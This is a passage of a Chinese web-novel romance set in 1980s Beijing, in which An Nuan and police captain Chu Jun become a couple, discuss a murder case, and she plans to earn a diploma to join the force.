差一点就把老司机三个字给说出口了。 安暖紧急刹车。 “我可是老实人,不吹牛的。我说能开,肯定能开。” 现在天还黑,但是再有一个多小时天就亮了,到时候路就更好认了。安暖的方向感很强,尽量自己认路,让楚隽多睡一会儿。 楚隽心里虽然还是不安稳,但安暖一点儿也不含糊。 他看着安暖那熟练转着方向盘,甚至有点漫不经心的感觉,又觉得她是可靠的。 安暖说过,她连卡车都会开,看样子是真的。 汽车平稳上路,这车安暖也算开过几回了,得心应手,偶尔转头看一下楚隽,只见他闭着眼睛,也不知道睡着没睡着。 不过就算睡不着,闭目养神也是好的。 安暖想了想,伸手在后座上拽过毯子,放在楚隽身上。 晚上冷,楚隽这样的小年轻喜欢耍帅,衣服穿得好。 可别冻着了。 没想到毯子刚搭在楚隽身上,他就动了一下。 安暖轻声道:“吵醒你啦?” 不至于吧。 楚隽虽然警觉,但睡眠也没有那么浅。昨天晚上自己爬上床,他也没醒。 “没有。”楚隽道:“没睡呢。” 安暖连忙说:“哦,那你睡,我不吵你。” 楚隽调整了一下姿势,眯着眼睛。 也不睁开,也不闭上。 楚隽说:“睡不着,聊聊天吧。” 安暖十分合理的怀疑,他是不是害怕自己一个人开夜车犯困,才想跟自己聊天的? 以前他们出差也是,如果是长途夜车,绝对不能留下司机一个人开车。夜里开车,越开越困,特别是在一车人都在打呼噜的情况下,那真是比催眠的效果还好。 一定要在副驾驶弄个人跟司机聊天。 所以副驾驶就成了大家最不愿意坐的位置,陪聊专用位置。 “聊,随便聊。”安暖目视前方,随口道:“你想聊什么?” 最好不聊案子,容易分心。 “还有三个半小时。”楚隽说:“就聊聊咱们俩吧。” 第93章我要一个名分 安暖一听,得了,更容易分心。 不过楚隽既然提了,可见他是真不想聊案子,也不想睡觉。 那就聊吧,也没有什么好回避的。 “聊吧。”安暖说:“你想怎么聊呢?” 楚隽侧了一下脸,看着安暖。 “你对我们的关系,怎么看?” 这会儿路上没人也没车,安暖开得比较放松,不太规范。一只手搭在腿上,一只手放在方向盘上,手指无意识的点着方向盘。 “嗯……我想先听听你的意见。”安暖说:“你怎么看呢?” 她还以为楚隽会含蓄一点。 毕竟是这个年代的人,应该是要保守一点的。 没想到楚隽开口就来了一句:“你喜欢我吗?” “……”安暖的手指顿了一下:“你呢?” 楚隽没有回答。 安暖顿了顿,说:“我觉得吧,我们俩现在对对方的感觉,应该是一样的。” “怎么说?” “比普通朋友多一点,比男女朋友少一点。虽然觉得对方还不错,但是又觉得不是这么回事。” 他们俩没有一见钟情,甚至一见之后,对彼此都有意见,互相看着不顺眼。 但后面不得不相处,相处到现在,发现对方并非自己想象的那种人,所以偏见慢慢消失。 安暖能看见楚隽的帅,楚隽自然也能看见她的美。 见色起意,也是一种动心。 以前安暖不相信,现在她也算相信了。 年纪相仿的男女,只要长相没问题,性格没有重大缺陷,在长时间的相处中,是可以产生感情的。 她和楚隽,现在就是这样的一个过程。 但是她不甘心,楚隽估计也不甘心。 楚隽琢磨了一下,笑了一下。 “你说得不对。” “怎么不对?” “我们俩……”楚隽点了点安暖,又点了点自己:“是比男女朋友多一点,比夫妻少一点。” 安暖愕然看他。 是不是夸张了? “我觉得很奇怪。”楚隽说:“你这个人,真的很矛盾。” “怎么矛盾了?” “你对我,有种过于松弛的感觉。”楚隽说:“同车,同房,同床。亲我,抱我,牵手……享受我的照顾,也照顾我……你都不排斥。” 安暖脸都要红了,这说的是什么呀? 同房同床,这两个词是这么用的吗? “这些都是很亲密的事情,你对我表现得很自然。可你不是那么随便的女人,对其他异性,你有非常清晰的界限。” 安暖皱了眉头。 楚隽在说一件她没想过的事情。 “但是你对我们的婚约没有兴趣,你对我,好像也没有什么兴趣。”楚隽不解道:“所以我确实有点搞不懂,你到底是什么意思?” 安暖沉默着。 楚隽继续道:“是因为我们有未婚夫妻这一层关系,所以你觉得做什么都可以。但是,这关系,又不足以让你想负责,所以,你打算跟我谈半年恋爱,然后抛弃我?” 安暖大惊失色。 楚隽是怎么推理出这样一个结果的? “不是不是。”安暖连忙道:“我没有这个意思。” “没有跟我谈恋爱的意思,还是没有抛弃我的意思?或者说,压根儿就没有看上我的意思?你一直在坦然的,逢场作戏。” 安暖打开了车窗,在风中凌乱。 “说中你的心事了?”楚隽冷笑一声:“安暖,你可真是个与众不同的女人。就算是向浩然,也没有你那么渣。” 安暖这一刻只觉得天雷滚滚。 请苍天,辨忠奸。 她真的没有始乱终弃的意思。 但不同的感情观和人生观,让她没有办法做太多解释。 只会越解释越乱。 安暖定了定神。 “楚队,我其实没有你说的这个意思,但让你误解了,我肯定是有责任的。那你说说吧,现在这个情况,你有什么建议?” “很简单。”楚隽道:“我们俩是有婚约的,我们结婚,家里乐见其成。开始的时候,我们不认识,不了解,所以想退婚。但现在我们相处了一段时间,我觉得你不错,可以作为结婚对象,可以进一步交往。” 幸亏安暖已经麻木了。 要是楚隽上来就来这么一句,她可能把持不住方向盘。 楚隽还挺了解安暖:“但我知道你肯定不是这么想的,我理解女孩子对婚姻会更慎重,我也不为难你,但是你现在要做一个决定。” “你说!” “我们不能再逢场作戏了,这对你对我,都是一种不尊重。对以后我们的另一半,也是一种不尊重。”楚隽正色道:“我是一个对感情很认真的人,如果你觉得我们可以继续,我需要一个正式的名分。” 安暖一脚刹车,将车停在了路边。 幸亏现在路上鬼影子都没有一个,不会引起追尾事故。 “以结婚为前提的未婚夫妻或者男女朋友,循序渐进,正规交往。当然,如果你觉得我有什么不妥,你随时可以提分手。在没有结婚前,我也会尊重你,不会违背你的意愿。” 楚隽解开安全带,侧过身子,看着安暖。 安暖心里,有一点感动。 她之所以和楚隽逢场作戏,就是因为知道他是个很正直,正经的君子。 但确实没想到,这么正直。 男女暧昧模糊的关系中,男人绝对不是吃亏的那一个,她以为,她都不太在意。楚隽更不在意才对。 没想到楚隽会撕开这一层。 楚隽看着安暖:“你知道这两者的区别吗?” 安暖没有动。 楚隽缓缓靠近:“区别就是,在没人的时候,我们也可以互相关心,靠近,亲近。你抱我,亲我,不是为了表演给谁看,我也可以抱你,亲你,只是因为喜欢。我站在你身边,也不是为你挡桃花……而是我就应该站在你身边。” 一个是因为目的,一个是因为喜欢。 但迈出这一步,就不好回头了。 楚隽的意思里多少有点,迈出这一步,就不是单方面的行为了。 不是只有安暖可以主动的了。 楚隽看着安暖沉默了下去,并不意外。 行为上大胆的人,未必心理也大胆。 反而可能恰恰相反。 楚隽说:“你不是跟向浩然说,勇敢的人先享受世界吗?这句话,我也送给你。” 第94章男朋友,要听话 夜风清凉,风吹过头发。 安暖突然说:“你……亲我一下。” “啊?” 楚隽呆住了。 安暖说:“你不是想要一个答案吗?我也想知道这个答案。所以……亲我一下。” 之前的牵手,拥抱,亲吻,都是有目的的。 但这一次没有。 或者说,这一次也是有目的的,但是这个目的,无关其他,只是这件事情本身。 这是他们第一次,纯粹地靠近。 “好。” 楚隽从副驾驶下了车,绕过车头,打开了驾驶室的门,半个身子探进车里。 伸手,轻轻捏着安暖的下巴,慢慢靠近。 安暖就这么看着他。 楚隽低声说:“不舒服,就推开我。” “嗯。” 安暖闭上眼睛。 熟悉的气息缠绕上来,楚隽身上的味道很好闻,是昨天晚上洗澡,招待所里肥皂的味道。一路有凉风,也没有出汗,依然清新。 安暖感觉到耳边的椅背往下一沉,楚隽的手按在上面。 楚隽的唇,一样柔软。 他放轻柔呼吸,先是试探着碰了碰。 安暖的心跳很快,睫毛微颤,难以自持地吞咽了一下。 她能感觉到,楚隽同样紧张,浑身都绷得很紧。 他不但随时准备进攻,也随时准备撤退。 试探性的碰触之后,没有察觉到安暖的抵触,楚隽的手,从靠背上落在安暖肩头,慢慢滑下,顺着手臂,握住她放在身侧的手。 十指相握。 一个蜻蜓点水的吻。 稍触即离。 “怎么样?”楚隽问:“你没有推开我,是能不能理解成……还不错?” 安暖闭着眼睛,抿了抿唇。 回味了一下。 楚隽笑了一下。 虽然有点疯,但他竟然有些理解安暖的意思。 安暖睁开眼睛。 入眼就是楚隽的一张脸,清晰无比,越近越帅。 “很不错。”安暖说。 和一个人在一起,天长地久地在一起,心理的喜欢和生理的喜欢都很重要。 楚隽说:“我的荣幸,那现在,有答案了吗?” “有了。”安暖说:“我决定听你的,享受生活。” 她不是特别勇敢的人,但是勇敢一回也无妨。 楚隽笑了一下,起身,关门,回到副驾驶的位置上。 一边系安全带,楚隽一边说:“那,我现在可以有一个名分了吗?” 安暖叹了口气:“和你在一起,我以会有很多麻烦的。” 就算爷爷特别赞同他们的婚事,但她心里明白,两个门不当户不对,身份天差地别的人,在一起,会遇到许多麻烦。 在这其中,身份不匹配的那个,会遇到更多的压力。 她选择和楚隽试试,这就是自找麻烦。 本来,还以为楚隽会男子汉气概爆棚,说出一些,比如,有我在,我会解决一起麻烦之类的话。 万万没想到,楚隽说。 “人生在世,无论选哪条路,都会有无数的麻烦,无可避免,只是麻烦不一样罢了。” 楚隽是个会安慰人的。 沉默了一会儿,安暖道:“你说的也对。” 安暖转头,伸出手来。 “你好,男朋友。” “你好。”安楚隽伸手握住安暖的手,低头,在她手背上亲了一下:“女朋友。” 安暖笑了一下。 楚隽这个人吧,还是不错的。 可能有不太好的地方,但是可以调教。 安暖伸手勾了勾楚隽的下巴。 “乖,你睡,我开车,到了地方我喊你。” 这就进入状态了啊,楚隽呆了一会儿,扯上了小毯子,闭上了眼睛。 女朋友说话,果然好使。 按照路程来算,八点可以到。但意外的是,早上七点的时候,路过一出十字路口,路口出了车祸,活生生地堵了半个小时。 等到了市局的时候,已经八点四十了。 车进了市局的停车场,安暖终于松了口气。 楚隽一路都在睡,中间醒了两回,要换一换安暖,但是没有被同意。 连开四个小时的车不算什么,没有必要让楚隽的精力消耗在这个地方。 安暖打开车,下车伸个懒腰。 “可算是到了,怎么样,我今天这个司机,尽职尽责吧。” “特别好。”楚隽也下了车。 不过没时间磨磨蹭蹭,互诉衷肠了,下了车两人就快步往里走去。 最后找到的头颅已经送去了法医室,现在有了头颅,就知道了受害者的长相。根据长相找人,那就要方便多了。 找到了受害者,就可以从受害者的身份着手,进一步锁定凶手的身份。 所以楚隽才会迫不及待地赶回来。 这一次,安暖没有去图书室,而是跟着楚隽去了他的办公室。 这个案子发生在香山,又不是什么连环特大杀人案,按理说,不是楚隽的职责范围。但因为是他发现的,现场就介入了,所以便一直跟着。 而且,案子牵扯的范围比较大,也需要上一级单位整合统筹。 安暖进了门就打了个哈欠。 “累了吧。”楚隽回头一看:“你昨晚就睡了三个小时。” 睡了三个小时,开了五个小时的夜车。 “是有点。”安暖反手捏了捏自己的脖子,打了个哈欠:“有点累。” “你去我办公室睡一会儿吧,我要开会。”楚隽说:“晚上再看情况,如果忙的晚,到时候你先回去。” 安暖想了想:“行,你去忙吧,不用管我。” 她现在毕竟不是刑警队的人,参与太多不好。 这几天是在外面,怎么说都行,什么私人顾问之类的,也没人说什么。但到了局里就不一样了,该避嫌的要避嫌。 安暖进了楚隽办公室,办公室里有一张长沙发,沙发上有毯子抱枕。 忙的时候,楚隽几天连轴转,困了就在沙发上眯一会儿。 楚隽立刻去忙了,安暖进了办公室,关上门,躺了下来。 确实累了。 不仅是昨天晚上只睡了三个小时,这几天都挺累的。安暖躺下没一会儿,就睡着了。 这一觉睡得挺沉,屋子里又昏暗,安暖一觉醒来,有些恍惚,不知今夕何夕。 睁开眼,面前的茶几上,有些白晃晃的。 她眯眼聚焦了一下,发现是一捧白玫瑰。 第95章第二次送花 安暖挠了挠头坐了起来。 桌上的闹钟显示,现在是下午四点。 这一觉睡的可真踏实。 茶几上确实是一捧白玫瑰,和之前楚隽买过的那一捧是一样的。 一捧十九朵,鲜翠欲滴,上面还有点点水珠。 安暖闻了闻,香水的味道。 难道是楚隽买的,他不应该在非常紧张的查案吗?还有时间去买花? 一瞬间,安暖涌上一个不好的念头,总不能还是向浩然阴魂不散吧? 安暖找了一下,里面没有卡片什么的。 当然,也有可能,说不定是有爱慕者送给楚隽的。据她所知,楚隽的爱慕者也还是挺多的。不过现在她是楚隽的女朋友了,如果以后他有爱慕者出现,自己就得出手了。 安暖放下花,站起身活动了一下。 外面挺安静的,安暖打开了门。 办公室里没有人,估计都出去忙了。 安暖随便找了张椅子呆坐了一会儿,才算彻底醒了瞌睡。 要是没有董紫莺的事情,她肯定要去法医室里转转,问问情况。但现在也不太想去,这几天还是避嫌一点的好,免得大家心里都不舒服。 安暖还是去了图书室。 周念川正在一边喝茶,一边看报纸。 抬头一看安暖,挺高兴。 感觉好几天没见了。 “小安来了。” “周叔。”安暖高兴地进去:“我有件事情,想问问你。” “说。” “你说,我有什么办法能够最快的速度加入刑警队?”安暖认真道:“这两天我跟着楚隽在外面,总觉得名不正言不顺,不是太方便。” 顾问这种关系,偶尔还行,不能长久。 长久是一定会引来流言蜚语的,她也不想因此影响了楚隽。就算楚隽不在意,总是不好。 “那只能考进来啊。”周念川说:“好像也没有其他的办法,每年警局都会招新人。一般来说都是从警校来的,但是也有普通学校来的各种人才,嗯,学历最低也得是高中啊。” 在一些偏远的地方,可能初中就行。但这里毕竟是京市,又是京市的市局,高中周念川说的都含蓄了。 “呜……”安暖想了想:“麻烦啊,我只有小学五年级,就算是破格,好像也不能破格的那么离谱。” “你可以找小楚啊。”周念川说:“让小楚给你开个后门,或者找翟家老爷子,那还不是一句话的事情。” 安暖连连摆手。 “别别别,不行,这绝对不行。我不能让楚隽干以权谋私的事情。” 周念川扯了扯嘴角,一副无所谓的样子。 “周叔。”安暖不由地道:“我还以为你是个特别正直的前辈呢,怎么能说出走后门的话来呢?” 还是这么直率的说,知法犯法,就没觉得哪里不对劲吗? “这有什么。”周念川道:“坦白说,你要是个没本事是混日子的,我肯定不会这么说。但你不是,没有文凭和没有文化是两回事。你在刑侦方面的很多见解,比警校出来的新人强多了,你要是不能进警局,是一种损失。” 周念川这个人,虽然一板一眼的,但是可一点儿都不古板。 古板的人,很难成为一个刑侦高手。因为案件中很多细节推理,都需要天马行空的想象。 “那……我可以去找一所学校吗?”安暖说:“我没有时间去上课,但是我可以参加考试。直接参加考试,如果通过,可以得到学历吗?” 周念川吓了一跳:“你不上学,直接考试,行吗?” “没问题,我只要冲刺一段时间就行。”安暖这一点自信还是有的:“我学东西特别快,给我三年高中课本,我能自学。” 周念川这十天来,对安暖的学习能力是了解的,也是相信的。 但是他想了想:“不光是考试的问题,你想要有高中文凭,也不能直接参加毕业考试啊?不管哪个学校,都要求在校学习到一定的天数,才能给你发毕业证。你就算是直接参加高考,大学也得上几年。” “那……要多少天数?” “这个我也不太清楚,每个学校要求不一样吧,就我了解的,学校会根据你的文化水平,安排你读高一高二高三的课程,但肯定不能说你去直接考试,直接拿毕业证。” “也是啊,我得去打听打听,找一个性价比最高的学校。” 不能让楚隽给她走后门进警局,但是,找个学校,问题应该不大。 她虽然是想去拿个文凭,但不是混文凭,她肯定是要真金白银去考试的,一点儿不会含糊。 正说着呢,接待室的小姑娘从门口路过,看见安暖在里面,停下脚步,一探头。 “小安。” 安暖在警局混的这些天,上上下下也认识不少人了。特别是和她年纪相仿的小姑娘,都说过几句话。 “小锦。”安暖招招手:“你好。” 秦招锦也不进来,就在门口探过半个头:“小安,今天的花儿,喜欢吗?十九朵白玫瑰。” “你买的?” “对啊。” “你送我……花?” “什么啊?”秦招锦一脸羡慕:“花儿是楚队送的。不过队里今天有案子忙,他就托我在门口的花店里买了花。说你喜欢白玫瑰……嘿嘿,小安,楚队好浪漫啊,有这样的男朋友,真好。” 安暖松了一口气。 太好了,幸亏不是向浩然送的。 这不是楚隽第一次给她送花了,不过上一次是她自己买给自己的,为了造势。 没想到这一次,他这么自觉主动,自己那么忙,还让人帮忙买。 看样子楚隽可不像是表面那么古板严肃。 柴米油盐当然不可缺少,但是在能力许可的范围内,浪漫潇洒一点也很好。 楚隽的时间可能紧张一点,但是其他方面,是能支撑得起这种浪漫的。 调教好了,肯定好用。 “谢谢你。”安暖甜蜜蜜地说:“小锦,麻烦你啦。” “不麻烦不麻烦,等你和楚队结婚,别忘了请我们喝喜酒哦。” 秦招锦笑眯眯地跑了。 周念川一针见血。 “你和小楚,不别扭啦。” 第96章你们学校我可不敢想 安暖也没有什么不好意思,不过狡辩了一下:“我们之前也没有闹矛盾。” “哈哈哈,还不好意思呢。”周念川有一双洞彻心灵的眼睛:“我可看得清清楚楚的。虽然你们以前也挺好,但总觉得少了点什么。但是现在你提起他,感觉不一样了。” 安暖也没有再反驳,只是有些犹豫。 “周叔,其实我有点犹豫,但这事情,也不知道能找谁聊聊。” “你说,我给你分析分析,出出主意。” “就是我和楚隽。”安暖皱眉道:“周叔,你说我们真的合适吗?我其实一直挺犹豫的……我们身份相差悬殊,如果有一天感情走到尽头,他可以随时离开,而我,可能很难抽身。” “为什么要很难抽身呢?”周念川翻过一页书。 “嗯?” “叔也是过来人。”周念川说:“你这种情况吧,叔其实也见过。” 安暖连连点头。 “怎么说呢,结局有好有坏。有些,中间经历了很多挫折,最后在一起了。也有历经挫折在一起然后又分手的。都有,不能一概而论。” 安暖郁闷。 这不和没说一样吗? “我没办法预测你和小楚以后会怎么样,但是呢,我觉得,你可以换一个角度来看问题。” “比如说呢?” “比如说,如果人生是一百分。爱情占了八十分,一旦失去,人生就会崩塌。但如果爱情只占了二十分,失去又如何呢?不要将所有的赌注,都压在一张赌桌上,这样无论输赢,都可以从容进退。” 这才是釜底抽薪,一针见血。 “周叔你说得对。”安暖点头:“爱情本来没有错,逃避是不对的。但是人生,也要多一些筹码。” “是呀。”周念川中肯道:“我和小楚很熟,他的人品肯定没问题。但和人品有关的是责任,不是感情。但别说小楚,就算是其他人,无论任何一个人,不管人品好不好,不管家世好不好,谁能保证一生一世呢?” 周念川说得挺悲凉的,但实话实说。 聊了一会儿,下班时间到。 安暖道:“周叔,你下班吧,这里我来收拾。今天楚隽不知道能不能准时下班,一会儿我过去看看。” “好。” 周念川准时下班了。 安暖收拾好图书室,回刑警队办公室看了一下。 人都没回来。 想了想,安暖吃了点东西,钻进楚隽办公室去看书。 她这些日子看的都是刑侦相关的书籍,如今若是真的需要一个文凭,可能需要恶补一些其他的知识了。 安暖想了想,打了个电话出去。 虽然她在京市的熟人非常少,但真的有一个能咨询的。 上次在谢家晚宴上碰见的邻居家哥哥庄致轩,不就在清大当老师吗?对这个领域应该很熟悉吧。 电话层层转接,很快就通了。 庄致轩接到电话的时候,很意外,也挺高兴。 “暖暖,没想到你会给我打电话。” “小庄哥。”安暖说:“你现在有空吗?我想咨询你一些事情,会不会打扰你?” “有空有空,什么事情,你说。” 安暖说:“我之前学习不好,小学上了五年就没上了。现在,我想要一个文凭。” 庄致轩说:“你想考我们学校?” “不不不。”安暖连忙说:“你们学校我想也不敢想,也没有必要。我就是想要一个普通的高中文凭,当然,如果是大学文凭更好。关键是要快,越快越好,而且,我也没有多少时间去学校上课。” 庄致轩的学校就算了,上辈子不敢想,这辈子也不敢想。 而且也没有这个必要,她又没有打算走学术道路。如今只是要一张毕业证,好让自己能达到警局的招聘标准罢了。 “这样啊……”庄致轩迟疑了一下。 怕庄致轩瞎想,安暖连忙道:“我不是要买文凭啊,我可以去考。货真价实的考试,只是想要尽快。这方面你了解吗?” “这样啊……”庄致轩想了想:“那你,要考文科还是理科?如果你要速成的话,文科可能稍微简单点。” “理科。”安暖说:“这方面你不用担心,中考高考的卷子,我都可以做。如果是高考卷子的话,考你们学校的分数我肯定不行,但是一般学校没问题。” 这一点信心,安暖还是有的。 庄致轩那边,沉默了长长的一段时间。 也不知道他是在想什么。 是想有什么办法可以尽快拿到高中大学文凭,还是对安暖如此的自信感到怀疑。 怀疑又不好意思说,免得打击了她。 “小庄哥。”安暖不由道:“你还在听吗?” “在呢,在呢。”庄致轩连忙道:“你想要考试是好事,学到老,活到老嘛。我给你打听打听,看能拿到文凭的最快办法是什么。你这边呢,既然真的要考,就算是再有自信,可能也要……学一下。” 庄致轩说的可含蓄了,生怕自己一个语气不对,就变成瞧不起人了。 “好的,好的,我知道,我会学的。”安暖道:“我明天就去买教材。” “不用买,买一套不少钱呢,我给你借吧,借来的书上还有笔记,能加深理解。”庄致轩说:“你给我一个地址,借到了我给你送过去。先给你借一套……初中课本吧。你先看看,要是能理解,再看高中的。” 安暖很高兴:“小庄哥谢谢你,我给你钱。” 庄致轩立刻道:“嗨,借的书要什么钱,大家的书都是借来借去的。” “那你别给我送,跑一趟太麻烦。”安暖说:“借到之后,你给我打电话,我过来取。电话就打给上次我给你的那个号码就行,我现在就住在那里。” “行。” 庄致轩一口应了。 挂了电话,安暖很高兴。 虽然她有自信,但小学五年级的文凭始终不是个事情,做很多事情都不方便,哪怕花点时间和精力,也要想办法考个学历回来。 安暖正在想着,外面有了动静。 有人回来了。 安暖连忙起身出去看了一下,果然楚隽回来了。 第97章神秘男友 “你们回来了?”安暖高兴地迎来过去:“案子有什么进展?” 这是安暖顺口就问出来的,但是问出去之后,就觉得不妥了。 她没有立场去询问案件发展,这不合规矩。 “额,我不是这个意思。”安暖摆摆手:“我就是问问,怎么样了?抓到凶手了吗?” 楚隽笑了一下。 “给大家介绍一下。”楚隽说:“安暖。” 这还要介绍,屋子里的都是刑警队的人,和安暖也算低头不见抬头见有一阵子了,莫名其妙的看着楚隽。 为什么还要介绍?又不是不认识。 “安暖是我请的特别顾问。”楚隽说:“我已经和局长报备过了,这次的案子可以参与。” 安暖松了一口气。 “十分钟后,会议室开会。” 楚隽朝安暖招了招手,进了办公室。 安暖连忙跟了进去。 楚隽坐下扯了扯衣领,看了看时间,显得有些疲惫。 “累了吧,今天是不是跑了一天?” 安暖给楚隽倒了杯茶。 “还好。”楚隽接了茶喝了一口:“怎么样,送你的花喜欢吗?” “喜欢。”安暖笑道:“特别喜欢,谢谢。” “这是我应该做的。”楚隽说:“你喜欢,我以后经常送。” 果然是孺子可教。 楚隽做完男朋友做的事情,开始和安暖说案子。 “已经查出死者的身份了。”楚隽将一份资料递给安暖:“盛寻雪,女性,二十五岁。香山脚下田头村人。在村中一家工厂做会计。家里虽然不是大富大贵,但条件也不错,她是独生女,父母都在村委会工作,都是铁饭碗。” “太好了。”安暖很高兴:“查出死者身份了,那根据死者的身份,查出什么了吗?” “目前还没有,但是有眉目和方向了。” 安暖一边听楚隽说,一边看。 盛寻雪的身份是一名销售人员。 本来,家里可以给找一个比较舒服的工作,但盛寻雪是个要强外向的性子,不愿意每天坐办公室拿那一点死工资。宁可做销售,卖的是农用机械,卖得多,拿得多。 但是销售是一件辛苦的事情,风吹日晒往外跑,还要喝酒应酬。 盛寻雪父母是不愿意的,架不住女儿要强,只好答应了。 盛寻雪父母今天已经来警局认过尸了,不过那会儿安暖在楚隽办公室睡的昏天暗地,并不知道这个情况。 楚隽道:“今天我和盛寻雪父母谈了,也和盛寻雪公司的领导,还有几个她负责的主要客户谈了。初步推断,盛寻雪有一个秘密情人。” 安暖一拍桌子。 “果然是情杀吗?” “可能性非常大。盛寻雪父母说,盛寻雪五年前,被上一任男朋友伤得很深,一直非常排斥感情。父母给介绍了几次对象,她见都不愿意见,一直是单身。但是半年前,感觉她有些不对劲。” “什么不对劲?” “可能谈恋爱了。” “跟谁?” 楚隽摇了摇头:“这就是现在最大的问题,不知道跟谁。她这个恋爱谈的非常隐蔽,家里人不知道,单位的人也不知道,同事和朋友,都不知道。这个男朋友她没有带出来见过人,在家里和单位里也没有找到照片,没有找到过任何,和这个男人身份相关的东西。” “半年啊……时间也不短啊。”安暖就奇怪了:“一个人谈恋爱了,如果不是见不得人的,应该是时时刻刻想要让人知道才对啊。不过既然大家都没见过,怎么知道她有男朋友?” “她自己承认的。”楚隽说:“她说自己有男朋友,而且,休息的时候,也会去找男朋友。只是没有人知道这人是谁。” “那她这男朋友,好像是有点见不得人。那就查她身边那些,不可能的人。” 见不得人的关系有很多。 比如,年纪相差太大,已婚身份,身份特殊,等等。 只能谈一场地下恋爱,不能公之于众。 安暖想了想:“那她的经济有什么变化吗?更有钱了,还是更拮据了?” “没有什么变化,吃穿用,还是和之前一样。” 两人说着,楚隽看了看时间。 “时间到了,去开会吧。” 会议室里,众人围坐一圈。 “队长,开会了。” 主位空着,坐在左手边的是副队长江笑愚。 江笑愚一见两人进来,赶紧往边上挪了一位。 “来,小安坐这里。” “不用不用。”安暖连连摆手:“我坐在边上听一下就行。” 安暖坐到了会议室边上。 楚隽也不多说,开始开会。 今天大家忙了一天,但算是有了实质性的进展,非常的好。 讨论来讨论去,这案子目前的重点,就在盛寻雪那从没拿出来见人的秘密男朋友。 “找到他。”楚隽说:“大家讨论一下,在什么情况下,死者会谈一场,不见人的恋爱。” 除了众所周知的几个可能。 还有没有其他的可能。 安暖一直在认真地听,不时地在本子上记上几笔。 会议开到八点,案件复盘结束,第二天的任务也都分了下去。 继续找人。 找盛寻雪的男朋友。 这个半年没露面,存在于盛寻雪口中的男朋友。 “行了,今天就到这里,大家回去休息吧。”楚隽看了看时间:“散会。” 刑警队除了住得近的,大部分人都是坐公交车上下班的。开车的毕竟是少数,整个市局也没有几辆车,凭刑警队的工资,很难养起一辆车。 好在局里有宿舍,工作晚了可以住宿舍。 楚隽有车,还有安暖在,只要不是很晚,肯定是要回去的。 不过出了门,楚隽看了看时间。 “才八点,不着急回去。”楚隽说:“带你去个地方。” “去哪儿?” “去了就知道了。” 安暖上了车,不知道楚隽要搞什么浪漫惊喜。 要不然,是去吃顿饭? 之前翟老爷子还说了,让楚隽经常带她出去吃饭逛街,别总在家里待着。 楚隽这人,虽然忙的时候挺忙,还是挺会见缝插针的平衡工作和生活吗。 安暖突然觉得。 不管这段婚姻靠谱不靠谱,谈恋爱看样子是靠谱的。 第98章 第一份礼物 楚隽没带安暖去饭店,而是到了一家百货商场。免费看书搜索: 我的书城网 下了车,安暖抬头看看。 这地方她上辈子也来过,和现在当然不一样,但不妨碍她知道,这是京市最贵的商场之一。 “来这干嘛?”安暖奇怪道:“要买东西吗?” “对。” 楚隽自然就过去牵了安暖的手。 安暖现在是彻底明白了,为什么昨天半夜有那一出。 没有名分,就不能如此自然。 楚隽可能已经郁闷好几天了,总有一种,明明是正宫的地位,却做着偷偷摸摸勾当的感觉。 “要买什么呀?”安暖跟着走了进去:“要送人吗?” “对,送人。” 楚隽对这里熟门熟路,一看就是常来的。 路过几家奢华专柜的时候,甚至有柜员喊了一声楚少。 “送什么人?”安暖一边好奇四下看,一边随口问:“我眼光很不错的,给你参考参考。” 这种商场,跟别的地方确实不一样。明亮宽敞,柜台里精美陈列着各种物品,一个字形容,就是贵。 楚隽笑了笑,没有回答。 他将安暖带到一家手表专柜,安暖一看,呦,卡地亚。 果然要送的也不是一般人。 这个牌子的手表,在这个年代也挺贵。 什么年代都挺贵。 楚隽是戴着手表的,而且不止一块表,安暖就见他配着衣服换过三块。 都是价值不菲的牌子,不过她对表的价格没有太多了解,最多也只是认识几个昂贵有名的牌子。 比如劳力士什么的。 楚隽的手腕,戴表非常好看,当时她对手表的价格倒是没有太多惊讶,毕竟车都有好几辆的人,多几块表,不算什么。 专柜的销售人员果然认识楚隽,一见着便恭敬道:“楚少,您来了。” “嗯,看看表。”楚隽说:“女款的。” “好的。” 销售小姐可高兴了,楚隽这样的顾客,脸上都是写了字的。 提成,提成! “喜欢这个牌子啊?”安暖走到柜台边:“我看看,你想送什么人?” “一个年轻漂亮的姑娘。” “年轻姑娘?”安暖狐疑看一眼楚隽:“表姐表妹?堂姐堂妹?” 有了名分的第一天,你不能有白月光吧,脚踩两条船吧? “哎,把这个拿出来看一下。” 楚隽指了柜台里的一块表。 销售人员连忙拿了过来。 楚隽接过,然后抓过安暖的爪子。 “不是表姐表妹,也不是堂姐堂妹,是我的女朋友。” 楚隽将表套在了安暖的手腕上。 安暖惊呆了。 销售人员嘴甜呢,立刻道:“原来这位小姐是楚少的女朋友啊,我就说呢,楚少还从没有带女孩子来过。小姐和楚少,真是郎才女貌,天生一对。” 安暖朝销售小姐姐笑了笑。 为了提成,你们也是什么话都说啊,就跟豪门总裁别墅里的老管家一样。 楚隽挺满意销售人员如此会说话,将安暖手腕上的表扣好,调整一下。 “看看,喜欢吗?”看得出楚隽很满意:“好看,你的手好看,戴什么都好看。今天是我们确定关系的第一天,这是我送你的礼物。” “喜欢,但是这个太贵了,我不能收。”安暖看了一下价格,虽然有心理准备,但还是吓了一跳。 一万九千八。 这是八十年代的一万九千八啊。 这个年代,大部分人的工资只有几十块,万元户是被人羡慕的存在。而这一块表,要两个万元户。 别说这个现代,就是安暖上辈子,这个价格也不便宜。属于虽然很多人咬咬牙能买,但是依然觉得奢侈的价格。 安暖上辈子都没买过这么贵的表。 “喜欢就能收,不要在乎价格。”楚隽握着不放:“要是不喜欢,还有别的牌子,都可以挑。因为我收到的第一块表是卡地亚,所以也想送你这个。我看得出来,你有戴手表的习惯。” 在需要知道时间的时候,安暖偶尔会有一个抬手看表的动作。 这种习惯动作是常年养成的。 楚隽倒是也没有怀疑什么,世面上便宜的表也有很多。 “我以前是有戴表的习惯,主要是为了方便,但我也不能买那么贵的,万一弄坏了呢?” 安暖还要往下扒拉,但是被楚隽抓住了手。 销售小姐就在一边,笑眯眯的看着他们俩打情骂俏。 “喜欢就戴着。”楚隽说:“送给你就是让你戴着的。丢了坏了有什么关系?再重新买就是了。又不是让你保管,是让你使用。” “不行,真的太贵了。你要是真想送我手表,买个便宜的。” 安暖可以收楚隽的礼物,但这第一份礼物,确实在她意料之外。 哪怕几百块钱呢,那都 还行。 上来就两万,谁受得了。 “贵还是便宜,要看对什么人。”楚隽说:“如果我砸锅卖铁,倾家荡产送你礼物,那就不合适。但这块表是在我消费能力之内的东西,就不贵。你信不信,回去爷爷看见了,准要夸我送的好。” 安暖对楚隽的消费能力是不怀疑的。 毕竟他刚一亮相,开的就是四十万的车。 她上辈子都没开四十万的车。 